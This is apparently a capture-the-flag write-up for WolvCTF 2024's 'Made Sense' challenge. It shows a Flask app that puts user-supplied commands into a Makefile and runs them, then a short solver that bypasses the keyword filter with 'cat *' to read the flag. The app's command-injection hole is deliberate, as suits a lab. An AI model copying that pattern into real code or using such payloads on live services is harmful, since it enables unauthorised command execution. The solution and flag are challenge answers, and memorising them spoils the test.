Tags: pyjail misc 

Rating:

# Made Sense


> Author: doubledelete

> Description: i couldn't log in to my server so my friend kindly spun up a server to let me test makefiles. at least, they thought i couldn't log in :P

[https://madesense-okntin33tq-ul.a.run.app/](https://madesense-okntin33tq-ul.a.run.app/)

This challenge is Misc PyJail / MakeJail called `Made Sense` that written using the Flask.

```python {title="source.py" lineNos=true lineNoStart=1}
import os
from pathlib import Path
import re
import subprocess
import tempfile

from flask import Flask, request, send_file

app = Flask(__name__)
flag = open('flag.txt').read()

def write_flag(path):
with open(path / 'flag.txt', 'w') as f:
f.write(flag)

def generate_makefile(name, content, path):
with open(path / 'Makefile', 'w') as f:
f.write(f"""
SHELL := /bin/bash
.PHONY: {name}
{name}: flag.txt
\t{content}
""")

@app.route('/', methods=['GET'])
def index():
return send_file('index.html')

@app.route('/src/', methods=['GET'])
def src():
return send_file(__file__)

# made sense
@app.route('/make', methods=['POST'])
def make():
target_name = request.form.get('name')
code = request.form.get('code')

print(code)
if not re.fullmatch(r'[A-Za-z0-9]+', target_name):
return 'no'
if '\n' in code:
return 'no'
if re.search(r'flag', code):
return 'no'

with tempfile.TemporaryDirectory() as dir:
run_dir = Path(dir)
write_flag(run_dir)
generate_makefile(target_name, code, run_dir)
sp = subprocess.run(['make'], capture_output=True, cwd=run_dir)
return f"""
<h1>stdout:</h1>
{sp.stdout}
<h1>stderr:</h1>
{sp.stderr}
"""

app.run('localhost', 8000)
```

If we take look at the source-code it's allows to create a Makefile with a target and a command, and then runs make in a temporary directory containing a flag file. And then checks for the presence of newline characters and the string `flag` in the command to prevent from reading the flag file directly. However, it doesn't prevent from using other commands or environment variables.

One possible solution is to use the cat command with a wildcard (*) instead of the filename. This will read all files in the directory, including the flag file.

![payload.png](https://raw.githubusercontent.com/nopedawn/CTF/main/WolvCTF24/MadeSense/payload.png)

![response.png](https://raw.githubusercontent.com/nopedawn/CTF/main/WolvCTF24/MadeSense/response.png)

Final solver automation:

```python {title="solver.py" lineNos=true lineNoStart=1}
import requests
import re

data = {
'name': 'target',
'code': 'cat *'
}

response = requests.post('https://madesense-okntin33tq-ul.a.run.app/make', data=data)
flag = re.findall(r'wctf{.*}', response.text)

print(flag)
```

> Flag: `wctf{m4k1ng_vuln3r4b1l1t135}`

Original writeup (https://nopedawn.github.io/posts/ctfs/2024/wolv-ctf-2024/#made-sense).